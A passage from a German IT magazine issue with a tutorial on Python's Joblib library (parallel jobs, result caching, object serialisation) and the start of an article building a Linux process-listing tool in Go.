Ausdruck herkommt, ist unklar, aber er<br />

deutet an, dass die Umwandlung eines<br />

solchen Algorithmus in eine parallelisierte<br />

Version nicht lange dauern sollte.<br />

Erfahrene Entwickler wissen andererseits,<br />

dass in der alltäglichen Programmierpraxis<br />

bei jeder Neuimplementierung<br />

mehr oder weniger große<br />

Probleme auftreten und dass man sich<br />

schnell in implementatorischen Details<br />

verzettelt. Für die umstandslose Lösung<br />

von Embarassingly-parallel-Aufgaben<br />

stellt das Modul Joblib deshalb die<br />

Klasse »Parallel« bereit. Es setzt eine<br />

beliebige Funktion voraus, die genau<br />

ein Argument entgegennimmt.<br />

Parallele Dekoration<br />

Für die Zusammenarbeit zwischen<br />

»Parallel« und der besagten Funktion,<br />

beispielsweise »f(x)«, liefert Joblib<br />

die Methode »delayed()« <strong>mit</strong>, die als<br />

Decorator dient. Listing 1 zeigt ein einfaches<br />

Beispiel <strong>mit</strong> einer Beispielimplementation<br />

von »f(x)«, die lediglich »x«<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Programmieren<br />

Python Joblib<br />

97<br />

unverändert zurückgibt. Die in Listing 1<br />

gezeigte »for«-Schleife iteriert über eine<br />

Liste »l« und übergibt die einzelnen<br />

Werte an »f(x)«, jedes Listenelement<br />

aus »l« resultiert in einem eigenen Job.<br />

Den interessantesten Teil erledigt<br />

dabei das ad hoc generierte anonyme<br />

»Parallel«-Objekt. Es verteilt die Aufrufe<br />

von »f(x)« auf die verschiedenen CPUs<br />

oder Prozessorkerne im Rechner. Wie<br />

viele es nutzt, bestimmt das Argument<br />

»n_jobs«. Standardmäßig steht es auf<br />

1, sodass Parallel nur einen Unterprozess<br />

startet. Setzt man es auf ‐1, verwendet<br />

es alle vorhandenen Prozessorkerne,<br />

bei ‐2 lässt es einen unbenutzt,<br />

bei ‐3 einen weiteren und so weiter. Alternativ<br />

nimmt »n_jobs« positive Ganzzahlen<br />

entgegen, die direkt die Anzahl<br />

zu verwendender Prozesse definiert.<br />

Der Wert von »n_jobs« darf auch über<br />

der Anzahl physisch verfügbarer Prozessorkerne<br />

liegen; die Parallel-Klasse<br />

startet einfach die per »n_jobs« definierte<br />

Anzahl von Python-Prozessen<br />

und das Betriebssystem lässt sie<br />

nebeneinander laufen. Dies bedeutet<br />

übrigens auch, dass der Austausch globaler<br />

Variablen zwischen den einzelnen<br />

Jobs unmöglich ist, denn verschiedene<br />

Betriebssystemprozesse können nicht<br />

direkt untereinander kommunizieren.<br />

Parallel umgeht diese Einschränkung,<br />

indem es die nötigen Objekte serialisiert<br />

und zwischenspeichert.<br />

Die optimale Anzahl von Prozessen<br />

hängt vor allem von der Art der zu<br />

bewältigenden Aufgaben ab. Liegt ihr<br />

Flaschenhals weniger in der Prozessorleistung<br />

als im Lesen und Schreiben<br />

von Daten auf die lokale Festplatte<br />

oder übers Netzwerk, darf die Zahl der<br />

Prozesse höher liegen; als Faustregel<br />

dient hier häufig etwa die Anzahl der<br />

vorhandenen Prozessorkerne mal 1,5.<br />

Lastet jeder Prozess hingegen eine CPU<br />

dauerhaft voll aus, sollte sie nicht über<br />

der Zahl physisch vorhandener Prozessoren<br />

liegen.<br />

Wie läuft’s?<br />

Des Weiteren bietet die Parallel-Klasse<br />

<strong>mit</strong>hilfe des optionalen »verbose«-<br />

Arguments die regelmäßige Ausgabe<br />

von Statusmeldungen an, die den Gesamtfortschritt<br />

veranschaulichen. Sie<br />

Liste / Collection<br />

zeigen die Anzahl abgearbeiteter und<br />

verbleibender Jobs sowie falls möglich<br />

die geschätzte Rest- und die bereits<br />

verstrichene Zeit. »verbose« steht per<br />

Vorgabe auf 0; setzt man eine beliebige<br />

positive Zahl ein, erhöht man die<br />

Ausgabefrequenz. Dabei gilt: je höher<br />

der Wert von »verbose«, desto mehr<br />

Zwischenstufen gibt Joblib aus. Listing<br />

2 zeigt eine typische Ausgabe.<br />

Die genaue Anzahl der Zwischenberichte<br />

schwankt, weil zu Beginn der<br />

Ausführung häufig noch unklar ist, wie<br />

viele Jobs insgesamt anstehen, es handelt<br />

sich also nur um einen Näherungswert.<br />

Setzt man »verbose« auf einen<br />

Wert über 10, gibt Parallel nach jeder<br />

einzelnen Iteration den aktuellen Status<br />

aus. Außerdem bietet das Argument<br />

die Möglichkeit, die Ausgabe umzuleiten:<br />

Steht »verbose« auf einem Wert<br />

von über 50, schreibt Parallel die Statusberichte<br />

auf die Standardausgabe,<br />

liegt er darunter, verwendet er »stderr«,<br />

also den Fehlerkanal der ausführenden<br />

Shell.<br />

Als drittes, ebenfalls optionales Argument<br />

nimmt Parallel »pre_dispatch«<br />

an. Es definiert, wie viele der Jobs die<br />

Klasse sofort zur Verarbeitung einreiht.<br />

Standardmäßig lädt es direkt<br />

alle Listenelemente in den Speicher,<br />

»pre_dispatch« steht auf »'all'«. Beansprucht<br />

die Verarbeitung allerdings viel<br />

Arbeitsspeicher, bietet ein geringerer<br />

Wert eine Gelegenheit, RAM zu sparen.<br />

Dazu übergibt man hier einen positiven<br />

Integer-Wert.<br />

Multiprocessing-Modul<br />

bequem<br />

Mit der Parallel-Klasse bietet Joblib im<br />

Wesentlichen eine bequeme Schnittstelle<br />

für das zu Python gehörige Modul<br />

»multiprocessing«. Es unterstützt die<br />

gleiche Funktionalität, aber die Kombination<br />

von Parallel und »delayed()« re-<br />

01 from joblib import Parallel, delayed<br />

02 <br />

03 def f(x):<br />

04 return x<br />

05 <br />

06 l = range(5)<br />

01 Parallel(n_jobs=2, verbose=5)(delayed(f)(i) for i in l))<br />

02 <br />

Element 1<br />

Element 2<br />

Element 3<br />

Element 4<br />

Element 5<br />

Element 6<br />

Element 7<br />

...<br />

Jobs 1, 2, 4, 7, ...<br />

Jobs 3, 5, ...<br />

n Listing 2: Parallel <strong>mit</strong> Statusberichten<br />

CPU 1<br />

CPU 2<br />

n Listing 1: Joblib: embarassingly parallel<br />

07 results = Parallel(n_jobs=‐1)(delayed(f)(i) for<br />

i in l))<br />

03 [Parallel(n_jobs=2)]: Done 1 out of 181 | elapsed: 0.0s remaining: 4.5s<br />

04 [Parallel(n_jobs=2)]: Done 198 out of 1000 | elapsed: 1.2s remaining: 4.8s<br />

05 [Parallel(n_jobs=2)]: Done 399 out of 1000 | elapsed: 2.3s remaining: 3.5s<br />

06 [Parallel(n_jobs=2)]: Done 600 out of 1000 | elapsed: 3.4s remaining: 2.3s<br />

07 [Parallel(n_jobs=2)]: Done 801 out of 1000 | elapsed: 4.5s remaining: 1.1s<br />

08 [Parallel(n_jobs=2)]: Done 1000 out of 1000 | elapsed: 5.5s finished<br />

Ergebnis 1<br />

Ergebnis 2<br />

Ergebnis 3<br />

Ergebnis 4<br />

Ergebnis 5<br />

Ergebnis 6<br />

Ergebnis 7<br />

...<br />

Abbildung 1: Probleme, bei denen sich Eingabeobjekte unabhängig voneinander nebenläufig verarbeiten<br />

lassen, heißen embarassingly parallel.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


98<br />

Programmieren<br />

Python Joblib<br />

Ergebnis<br />

Modul »pickle« das Ergebnis im Python-<br />

Interpreter wieder ein:<br />

Argument(e) x<br />

für f()<br />

Memory.cache()<br />

duzieren den Implementationsaufwand<br />

einfacher Parallelisierungsaufgaben auf<br />

eine Zeile. Dazu gibt es Statusausgaben<br />

und Konfigurationsmöglichkeiten <strong>mit</strong><br />

jeweils einem Argument.<br />

Ergebnis f(x)<br />

im Cache?<br />

nein<br />

ja<br />

Funktion f(x)<br />

Abbildung 2: Memory speichert Funktionsergebnisse ab und liefert sie bei erneuter Anfrage aus,<br />

ohne nachzurechnen.<br />

n Listing 3: Funktionsergebnisse speichern<br />

01 from joblib import Memory<br />

02 <br />

03 memory = Memory(cachedir='/tmp/example/')<br />

04 <br />

05 @memory.cache<br />

06 def f(x):<br />

07 return x<br />

Im Gedächtnis<br />

Das vorherige Beispiel bediente sich<br />

einer kleinen und praktisch sinnlosen<br />

Funktion »f(x)«. Ob parallelisiert oder<br />

nicht, manche Funktionen erledigen<br />

hingegen sehr Zeit- und Ressourcenaufwendige<br />

Berechnungen. Sind die<br />

Eingabewerte vor dem Programmstart<br />

unbekannt, verarbeitet eine solche<br />

Funktion womöglich mehrfach dieselben<br />

Argumente; möglicherweise ein<br />

unnötiger Aufwand.<br />

Es liegt bei aufwendigeren Funktionen<br />

also nahe, deren Ergebnisse abzuspeichern<br />

(Memorization). Für den Fall,<br />

dass sie <strong>mit</strong> demselben Argument<br />

aufgerufen wird, greift sie so direkt auf<br />

das Ergebnis zurück, statt es erneut<br />

auszurechnen. Auch hier greift Joblib<br />

dem Programmierer <strong>mit</strong> der Klasse<br />

»Memory« unter die Arme.<br />

Sie stellt eine Methode »cache()« bereit,<br />

die als Decorator für beliebige Funktionen<br />

<strong>mit</strong> einem oder mehreren Funktionsargumenten<br />

dient. Ergebnisse der<br />

so dekorierten Funktion speichert das<br />

Memory-Objekt dann auf der Festplatte<br />

ab; beim nächsten Aufruf prüft sie, ob<br />

das gleiche Argument oder die gleichen<br />

Argumente bereits verarbeitet wurden<br />

und liefert gegebenenfalls direkt das<br />

Ergebnis aus (Abbildung 2). Listing 3<br />

zeigt eine Implementation, wieder <strong>mit</strong><br />

einer pri<strong>mit</strong>iven Beispielfunktion »f(x)«.<br />

Die berechneten Ergebnisse landen<br />

auf der Festplatte im Verzeichnis »joblib«<br />

unterhalb des <strong>mit</strong> dem Parameter<br />

»cachedir« definierten Verzeichnisses.<br />

Darin erhält jede memorisierte Funktion<br />

wieder ein eigenes Unterverzeichnis,<br />

das unter anderem in der Datei<br />

»func_code.py« den Original-Python-<br />

Quellcode der Funktion enthält.<br />

Namensgedächtnis<br />

Weiterhin steht für jedes unterschiedliche<br />

Argument – oder je nach Funktion<br />

unterschiedliche Kombinationen<br />

mehrerer Argumente – ein eigenes<br />

Unterverzeichnis zur Verfügung. Es<br />

trägt den Namen eines Hash-Werts der<br />

übergebenen Argumente und enthält<br />

zwei Dateien: »input_args.json« und<br />

»output.pkl«. Die erste offenbart die<br />

Eingabeargumente im für Menschen<br />

lesbaren JSON-Format, die zweite das<br />

zugehörige Ergebnis im binären Pickle-<br />

Format, das Python zur Serialisierung<br />

und zum Speichern von Objekten verwendet.<br />

Diese Struktur macht den Zugriff auf<br />

die von Memory zwischengespeicherten<br />

Funktionsergebnisse angenehm<br />

transparent. So liest etwa das Python-<br />

import pickle<br />

result = pickle.load(open("output.pkl"))<br />

Memory räumt am Programmende<br />

aber nicht selbstständig auf. Das heißt,<br />

dass gespeicherte Ergebnisse auch<br />

beim nächsten Programmstart weiterhin<br />

zur Verfügung stehen. Es bedeutet<br />

aber auch, dass man den Festplattenplatz<br />

bei Bedarf selbst wieder freigeben<br />

muss. Das geschieht entweder durch<br />

den Aufruf der »clear()«-Methode des<br />

verwendeten Memory-Objekts oder indem<br />

man das entsprechende Verzeichnis<br />

einfach löscht.<br />

Daneben gilt es zu beachten, dass<br />

sich Memory beim Auslesen der gespeicherten<br />

Ergebnisse ausschließlich<br />

am Namen der Funktion orientiert.<br />

Ändert man deren Implementation,<br />

gibt Memory beim nächsten Start womöglich<br />

fälschlicherweise die zuvor<br />

von der alten Version der Funktion<br />

erzeugten Ergebnisse erneut aus. Des<br />

Weiteren funktioniert Memory nicht <strong>mit</strong><br />

»lambda«-Funktionen, also namenlosen<br />

Funktionen, die direkt beim Aufruf<br />

definiert werden.<br />

Generell empfiehlt sich der Einsatz der<br />

Memory-Klasse vor allem bei Funktionen,<br />

deren Ergebnisse so groß sind,<br />

dass sie den Arbeitsspeicher über Gebühr<br />

belasten. Produziert eine häufig<br />

aufgerufene Funktion hingegen nur<br />

kleine Ergebnisse, empfiehlt es sich<br />

eher, beispielsweise einen Dictionarybasierten<br />

Cache im Arbeitsspeicher<br />

einzurichten. [2] zeigt dafür eine Beispielimplementation.<br />

Schnell und sparsam<br />

Die Memory-Klasse verwendet auf<br />

Wunsch ein Verfahren, das bei großen<br />

gespeicherten Objekten viel Zeit spart:<br />

Memory Mapping. Die Kernidee dieses<br />

Konzepts besteht darin, eine Datei<br />

als Bit-für-Bit-Kopie eines Objekts aus<br />

dem Arbeitsspeicher auf die Festplatte<br />

zu schreiben. Wenn die Software das<br />

Objekt wieder öffnet, kopiert sie den<br />

relevanten Teil der Datei in einen zusammenhängenden<br />

Speicherbereich,<br />

sodass die darin enthaltenen Objekte<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Programmieren<br />

Python Joblib<br />

99<br />

direkt zur Verfügung stehen. Das erspart<br />

dem System die Allokation von<br />

Speicher und da<strong>mit</strong> unter Umständen<br />

viele Systemaufrufe.<br />

Joblib greift auf die vom Python-Modul<br />

Numpy [3] bereitgestellte Memory-<br />

Mapping-Methode zurück. Der Konstruktor<br />

der Memory-Klasse nimmt <strong>mit</strong><br />

dem optionalen Parameter »mmap_<br />

mode« dieselben Argumente wie die<br />

Klasse »numpy.memmap« entgegen:<br />

»r+«, »r«, »w+« und »c«.<br />

Memory Mapping<br />

Im Normalfall empfiehlt sich »mmap_<br />

mode='r+'« zur Aktivierung des Memory<br />

Mappings. Dieser Wert öffnet eine gegebenenfalls<br />

bestehende Datei und hängt<br />

an sie neue Daten an. Bei den anderen<br />

Modi schreibt Memory keine neuen Daten,<br />

sondern liest nur existierende aus<br />

der Datei aus (»r«) oder überschreibt<br />

die bestehenden Daten (»w+«). Mit »c«<br />

(copy-on-write) behandelt Memory<br />

die Datei auf der Platte wie <strong>mit</strong> »r« als<br />

unveränderbar, hält neue Zuweisungen<br />

aber dennoch im Speicher vor.<br />

Wer statt Zeit vor allem Festplattenspeicher<br />

sparen muss, initialisiert das<br />

Memory-Objekt <strong>mit</strong> dem Argument<br />

»compress=True«. Da<strong>mit</strong> komprimiert<br />

Memory die Funktionsergebnisse beim<br />

Speichern auf die Festplatte. Allerdings<br />

schließt das die Möglichkeit zum Memory<br />

Mapping aus.<br />

Schließlich bietet auch die Memory-<br />

Klasse die Möglichkeit, Statusmeldungen<br />

auszugeben. Ihr Konstruktorparameter<br />

»verbose« steht standardmäßig<br />

auf 1, da<strong>mit</strong> gibt »cache()« bei jedem<br />

Aufruf einer memorisierten Funktion<br />

eine Statusmeldung aus, wenn sie ein<br />

Ergebnis neu berechnet. Setzt man<br />

»verbose=0«, bleiben diese <strong>mit</strong>unter<br />

sehr zahlreichen Statusberichte aus.<br />

Setzt man den Wert hingegen höher,<br />

berichtet Memory bei jedem Aufruf der<br />

Funktion, ob das Ergebnis in einer Datei<br />

vorliegt oder neu berechnet wird.<br />

Zu guter Letzt nimmt »cache()« <strong>mit</strong><br />

dem Parameter »ignore« eine Liste von<br />

Funktionsargumenten entgegen, die es<br />

beim Memorisieren ignoriert. Das bietet<br />

sich an, wenn einzelne Funktionsargumente<br />

nur die Bildschirmausgabe<br />

beeinflussen, aber nicht das Funktionsergebnis.<br />

Listing 4 zeigt die Funktion<br />

»f(x)« <strong>mit</strong> dem Zusatzargument »verbose«,<br />

dessen Wert für den Rückgabewert<br />

der Funktion keine Rolle spielt.<br />

Auf die Platte<br />

Schließlich bietet Joblib noch zwei<br />

Funktionen zum Speichern und Laden<br />

von Python-Objekten: »joblib.dump()«<br />

und »joblib.load()«. Sie kommen auch<br />

in der Memory-Klasse zum Einsatz,<br />

funktionieren jedoch auch unabhängig<br />

davon und ersetzen die von Pythons<br />

»pickle«-Modul angebotenen Mechanismen<br />

zur Serialisierung von Objekten<br />

durch häufig effizientere Methoden.<br />

Insbesondere große Numpy-Arrays<br />

speichert Joblib platzsparend und<br />

schnell ab.<br />

»joblib.dump()« nimmt ein beliebiges<br />

Python-Objekt und einen Dateinamen<br />

als Argumente entgegen, ohne weitere<br />

Angaben landet das besagte Objekt in<br />

der angegebenen Datei. »joblib.load()«,<br />

<strong>mit</strong> demselben Dateinamen aufgerufen,<br />

stellt dieses Objekt wieder her:<br />

import joblib<br />

x = ...<br />

joblib.dump(x, 'file')<br />

...<br />

x = joblib.load('file')<br />

Wie Memory kennt auch »dump()« den<br />

optionalen Parameter »compress«.<br />

Hier steht eine Zahl von 0 bis 9, die den<br />

Kompressionsgrad angibt; 0 bedeutet<br />

gar keine Komprimierung, 9 verbraucht<br />

den wenigsten Plattenspeicher, aber<br />

auch am meisten Zeit. In Kombination<br />

<strong>mit</strong> »compress« legt außerdem das<br />

Argument »cache_size« fest, wie viel<br />

Arbeitsspeicher Joblib verwendet,<br />

um Daten darin zunächst schnell zu<br />

komprimieren, bevor es sie auf die<br />

Festplatte schreibt. Der angegebene<br />

Wert beschreibt die Größenordnung in<br />

MByte; es handelt sich jedoch lediglich<br />

um eine Schätzung, die Joblib bei Bedarf<br />

überschreitet, etwa bei sehr großen<br />

Numpy-Arrays.<br />

Das »dump()«-Komplement »load()«<br />

bedient sich optional ebenfalls – wie<br />

die Memory-Klasse – des Memory-<br />

Mapping-Verfahrens. Das Argument<br />

»mmap_mode« aktiviert es <strong>mit</strong> dem<br />

n Listing 4: Einzelne Argumente ignorieren<br />

01 from joblib import Memory<br />

02 <br />

03 memory = Memory()<br />

04 <br />

05 @memory.cache(ignore=['verbose'])<br />

06 def f(x, verbose=0):<br />

07 if verbose > 0:<br />

08 print('Running f(x).')<br />

09 return x<br />

gleichen Parameter und möglichen<br />

Werten wie bei Memory: »r+«, »r«, »w+«<br />

und »c« dienen zum Lesen und Schreiben,<br />

ausschließlichen Lesen, Überschreiben<br />

beziehungsweise Nur-Lesen<br />

und im Arbeitsspeicher Ergänzen.<br />

Wertvoller Helfer<br />

Der Wert der Joblib-Bibliothek ist<br />

kaum zu überschätzen. Sie löst häufige<br />

Aufgaben im Handumdrehen <strong>mit</strong> einer<br />

intuitiven Schnittstelle. Die Problemstellungen<br />

– einfache Parallelisierung,<br />

Memorization sowie Speichern und<br />

Laden von Objekten – begegnen Programmierern<br />

in der Praxis häufig. Hier<br />

finden sie eine bequeme Lösung, die es<br />

ihnen erlaubt, sich sofort den eigentlichen<br />

Problemen zu widmen.<br />

Joblib gehört bei den meisten Distributionen<br />

zum Lieferumfang und lässt sich<br />

andernfalls <strong>mit</strong> den Python-Paketverwaltungswerkzeugen<br />

Easy Install und<br />

Pip umstandlos einspielen: »easy_install<br />

joblib« oder »pip install joblib«. Das<br />

geht schnell, denn ein weiterer Vorteil<br />

der Joblib-Bibliothek liegt darin, dass<br />

sie außer Python selbst keine anderen<br />

Pakete benötigt. n<br />

n Info<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31723<br />

[1] Joblib für Python: [http:// pythonhosted. org/​<br />

joblib/]<br />

[2] Caching im Arbeitsspeicher <strong>mit</strong> Python: [http://​<br />

code. activestate. com/ recipes/ 52201/]<br />

[3] Python-Bibliothek Numpy: [http:// www.​<br />

numpy. org/]<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


nomadsoul1, 123RF<br />

Programmieren in Go<br />

Kurzer Prozess<br />

Die Programmiersprache Go vereint Typ<strong>sicher</strong>heit <strong>mit</strong> überschaubarer Syntax und einer umfangreichen<br />

Bibliothek. Ein kleines Tool zum Anzeigen von Prozessen demonstriert die Programmierung. Oliver Frommel<br />

Im November letzten Jahres feierte<br />

die Programmiersprache Go ihren<br />

vierten Geburtstag und konnte bei<br />

dieser Gelegenheit feststellen: Sie wird<br />

immer populärer. Neuestes Beispiel<br />

einer in Go geschriebenen Software ist<br />

das Container-Virtualisierungsprojekt<br />

Docker, aber auch Ubuntu schreibt das<br />

Juju-Projekt in Go neu.<br />

Ob sich Go zur Systemprogrammierung<br />

gut eignet, ist umstritten, doch zur Beantwortung<br />

dieser Frage müsste man<br />

erst einmal klären, was man überhaupt<br />

darunter versteht. Für einen Betriebssystem-Kernel<br />

eignet sich die Sprache<br />

wohl weniger gut, auch wenn selbst<br />

dies Einzelne schon versucht haben.<br />

Abgesehen davon sind Go aber wenige<br />

Grenzen gesetzt, wenn es darum geht,<br />

Unix-Daemons, Netzwerk-Code, parallelisierte<br />

Programme und dergleichen<br />

mehr zu schreiben.<br />

Als ausgesprochener Erbe der Programmiersprache<br />

C konzipiert (siehe<br />

[1]), bietet es viele Möglichkeiten des<br />

Vorgängers, vereinfacht aber die Syntax<br />

und unterstützt <strong>sicher</strong>es Programmieren<br />

beispielsweise durch starke Typisierung.<br />

Über das Unsafe-Modul gleicht<br />

sich Go noch mehr an C an, aber die<br />

Sicherheit geht, wie der Modulname<br />

bereits nahelegt, verloren.<br />

Die Standard-Library [2] von Go ist<br />

äußerst umfangreich und bietet zur<br />

Systemprogrammierung viele nützliche<br />

Module, etwa für Datenkomprimierung,<br />

Kryptografie, Binärdateiformate (ELF,<br />

Mach-O), die Arbeit <strong>mit</strong> Dateien und<br />

viele mehr. In diesem Artikel soll ein<br />

einfaches in Go geschriebenes Tool entstehen,<br />

das eine ähnliche Funktion hat<br />

wie das »ps«-Tool unter Linux.<br />

Go-Projekte<br />

Zunächst einmal muss man ein paar<br />

Worte über die etwas eigentümliche<br />

Verzeichnisstruktur verlieren, die<br />

für Go-Projekte vorgesehen ist. Man<br />

kann nicht einfach irgendwo seine<br />

Quellcode-Dateien ablegen und sie<br />

dann kompilieren, sondern muss einem<br />

bestimmten Schema folgen, da<strong>mit</strong><br />

das Build- und Projekttool »go« richtig<br />

funktioniert. Die Umgebungsvariable<br />

»GOPATH« legt das Verzeichnis fest, in<br />

dem sich alle Go-Projekte befinden.<br />

Darunter sind die Verzeichnisse »dist«,<br />

»bin« und »src« angesiedelt, von denen<br />

letzteres den Quellcode enthält – allerdings<br />

unterhalb weiterer Verzeichnisse,<br />

die ein Paket oder Projekt eindeutig<br />

identifizieren. Im Prinzip kann das jeder<br />

beliebige String sein, aber meistens<br />

verwendet man dafür beispielsweise<br />

die eigene Domain, gefolgt von einem<br />

Projektnamen, etwa »admin‐magazin.<br />

de/Projekt« (Abbildung 1). Das Tool<br />

»go« lädt auch Projekte aus dem Internet,<br />

etwa von Github, die dann in »$GO-<br />

PATH/src/github.com/Projekt« landen.<br />

Im Beispiel sollen die Projekte in<br />

»$HOME/gocode« liegen. Die Umge-<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Programmieren<br />

Go<br />

101<br />

bungsvariable dafür setzt »export<br />

GOPATH=$HOME/gocode«. Der folgende<br />

Aufruf legt das Projektverzeichnis<br />

für das noch zu programmierende<br />

Tool »lap« (List All Processes) an:<br />

Maps und Channels iteriert. Mit nur<br />

einer Laufvariable weist »range« dieser<br />

den Array-Index zu. Einer zweiten Variablen<br />

weist Go automatisch den Inhalt<br />

des entsprechenden Array-Elements zu.<br />

mkdir ‐p src/admin‐magazin.de/lap<br />

Wer hier nun ein kleines Hello-World-<br />

File ablegt (siehe [1]), kann das Projekt<br />

folgendermaßen kompilieren:<br />

go build admin‐magazin.de/lap<br />

Bei einem Blick in die Datei »GOPATH/<br />

bin« wird man aber feststellen, dass<br />

dort keine Datei liegt. Dorthin kopiert<br />

»go« das Binary nämlich nur <strong>mit</strong> dem<br />

»install«-Befehl, den man am besten<br />

gleich statt »build« verwendet. Programmbibliotheken<br />

landen in »GO-<br />

PATH/pkg«. Die Object Files lassen sich<br />

per »go clean Package« wieder entfernen,<br />

<strong>mit</strong> einem zusätzlichen Schalter<br />

entfernt »go clean ‐f« auch die Binaries<br />

wieder.<br />

Die Idee hinter »lap« ist recht simpel.<br />

Unter Linux findet sich im Proc-Dateisystem<br />

»/proc« für jeden laufenden<br />

Prozess ein virtuelles Verzeichnis <strong>mit</strong><br />

der Prozess-ID als Name. Darunter befinden<br />

sich eine ganze Reihe virtueller<br />

Dateien <strong>mit</strong> Informationen zu diesem<br />

Prozess, darunter die Dateien »stat«<br />

und »status«, die etwa die Parent-Prozess-ID,<br />

den Eigentümer, die Startzeit<br />

und so weiter enthalten.<br />

Dateien verarbeiten<br />

Die erste Aufgabe besteht also darin,<br />

die Dateien in »/proc« aufzulisten und<br />

diejenigen <strong>mit</strong> den Prozessinfos herauszufiltern.<br />

Sie lässt sich recht einfach<br />

<strong>mit</strong> der Funktion »filepath.Glob« erledigen,<br />

die alle Dateinamen in einem<br />

Array zurückgibt, die auf ein bestimmtes<br />

Muster passen. Der folgende Ansatz<br />

geht einen kleinen Umweg, um ein paar<br />

Aspekte von Schleifen und String-Verarbeitung<br />

in Go zu demonstrieren.<br />

Den Inhalt eines Verzeichnisses liefert<br />

ein Aufruf der Funktion »ReadDir« im<br />

»ioutils«-Paket. Um die Einträge alle<br />

durchzugehen, verwendet man die For-<br />

Schleife <strong>mit</strong> einer Range-Expression,<br />

<strong>mit</strong> der man über Arrays, Slices, Strings,<br />

entries, err := ioutil.ReadDir(procDir)<br />

for index, proc := range entries {<br />

// do something with proc<br />

}<br />

Das akzeptiert der Go-Compiler nur,<br />

wenn man <strong>mit</strong> der Variable »index«<br />

auch etwas anfängt. Will man das<br />

nicht, kann man stattdessen auch<br />

den Go-Platzhalter für Variablen »_«<br />

verwenden. Ein »proc« ist im Beispiel<br />

vom Typ »os.FileInfo«, der ein Interface<br />

implementiert, das unter anderem den<br />

Aufruf »Name()« einschließt, um den<br />

Dateinamen auszulesen.<br />

Unicode-Support<br />

Herauszufinden, ob das erste Zeichen<br />

eine Zahl ist, gestaltet sich etwas<br />

schwieriger, weil Go zur Zeichen-Codierung<br />

UTF-8 verwendet – was an sich ja<br />

eine prima Sache ist. Weil UTF-8 aber<br />

ein Format ist, das zwischen einem<br />

und vier Bytes für ein Zeichen benutzt,<br />

ist nicht von vornherein klar, wieviele<br />

Bytes das erste Zeichen umfasst. Typischerweise<br />

wandern Go-Programmierer<br />

Stück für Stück durch ein Byte-Array<br />

und entschlüssen dabei, wann ein<br />

neuer UTF-8 Character anfängt. Mit<br />

einem Typecast macht Go das automatisch<br />

in einem Rutsch.<br />

Am Ende kommt ein<br />

Array <strong>mit</strong> „Runen“<br />

heraus – so werden in<br />

Go einzelne UTF-8-Zeichen<br />

bezeichnet –, von<br />

denen man <strong>mit</strong> einem<br />

Array-Index das erste<br />

Zeichen ausliest. Das<br />

wiederum lässt sich<br />

<strong>mit</strong> einem einfachen<br />

Aufruf der Funktion<br />

»unicode.IsDigit()« erledigen,<br />

der eine Rune<br />

als Argument erwartet:<br />

if unicode.IsDigit([]U<br />

rune(proc.Name())[0]) {<br />

...<br />

Abbildung 1: Die Struktur von Go-Projekten: ein<br />

Toplevel-Directory, darunter Verzeichnisse für Binärdateien<br />

und Quellcode-Projekte.<br />

Dass das in der Unicode-Welt übrigens<br />

nicht nur auf arabische Zahlen zutrifft,<br />

sondern auch <strong>mit</strong> anderen Zahlensystemen<br />

funktioniert, zeigt ein kleines<br />

Beispielprogramm, das in Abbildung 2<br />

zu sehen ist.<br />

Als nächstes geht es darum, die virtuellen<br />

Dateien des Procfs zu öffnen und<br />

ihren Inhalt zu verarbeiten. Praktischerweise<br />

bietet wieder die Bibliothek »ioutil«<br />

<strong>mit</strong> »ReadFile« eine Funktion, die<br />

eine Datei komplett einliest und den<br />

Inhalt in einem Byte-Array ablegt:<br />

stat, err := ioutil.ReadFile(filename)<br />

Wie man sieht, gibt die Funktion zwei<br />

Werte zurück: den Inhalt der Datei und<br />

einen Fehlercode. Das ist typisch für<br />

Go-Funktionen und jedenfalls strukturierter<br />

als etwa im Fehlerfall für den Inhalt<br />

einen Nullpointer zurückzuliefern.<br />

Weist man den Fehlercode einer Variab-<br />

Abbildung 2: Die Unicode-Methode »IsDigit« er<strong>mit</strong>telt, ob ein Zeichen<br />

eine Zahl ist. Das funktioniert selbst <strong>mit</strong> fremden Zahlensystemen.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


102<br />

Programmieren<br />

Go<br />

Abbildung 3: Das Ergebnis der Mühen: Das Prozess-Tool »lap« zeigt die<br />

laufenden Prozesse <strong>mit</strong> Benutzernamen an.<br />

n Listing 1: Regular Expressions<br />

01 package main<br />

02 <br />

03 import (<br />

04 "regexp"<br />

05 ...<br />

06 )<br />

07 <br />

08 // Format: 1 (init) S 0 1 1 0 ‐1 4219136 19614<br />

33480686 ...<br />

09 var restat = regexp.MustCompile(`(\d+) \((.+)\)<br />

(\w) (\d+) (\d+) (\d+) (\d+)`)<br />

10 <br />

11 func main() {<br />

12 ...<br />

13 data := restat.FindStringSubmatch(strin<br />

g(stat))<br />

14 procData = ProcData{pid: data[1], name:<br />

data[2]}<br />

15 ...<br />

len zu, muss man Sie auch verarbeiten,<br />

sonst gibt der Compiler seinerseits eine<br />

Fehlermeldung aus und weigert sich,<br />

die Datei zu übersetzen. Wer den Rückgabewert<br />

ignorieren möchte, kann den<br />

Fehlercode wieder dem Platzhalter »_«<br />

zuweisen. Um den Fehler zu verarbeiten,<br />

testet man üblicherweise, ob die<br />

»err«-Variable gleich »nil« ist. Dann ist<br />

kein Fehler aufgetreten.<br />

Die Datei »/proc/PID/stat« enthält nur<br />

eine Zeile in einem fixen Format, bei<br />

dem die einzelnen Felder durch Leerzeichen<br />

getrennt sind.<br />

Leider ist das Format<br />

nirgends vernünftig<br />

dokumentiert, auch<br />

nicht in der Linux-<br />

Kernel-Dokumentation<br />

des Procfs [2]. Letztlich<br />

hilft, wenn man es<br />

genau wissen möchte,<br />

nur ein Blick in den<br />

Linux-Quellcode. Zuerst<br />

kommt jedenfalls<br />

die PID (die ja <strong>mit</strong> dem<br />

Verzeichnisnamen<br />

identisch ist), dann<br />

in Klammern der Prozessname,<br />

der Status<br />

des Prozesses und die<br />

Parent-PID.<br />

Regular<br />

Expressions<br />

Die Felder lassen sich zum Beispiel <strong>mit</strong><br />

der Funktion »fmt.Sscanf« verarbeiten,<br />

die genauso funktioniert wie die<br />

entsprechende Funktion in C: Format-<br />

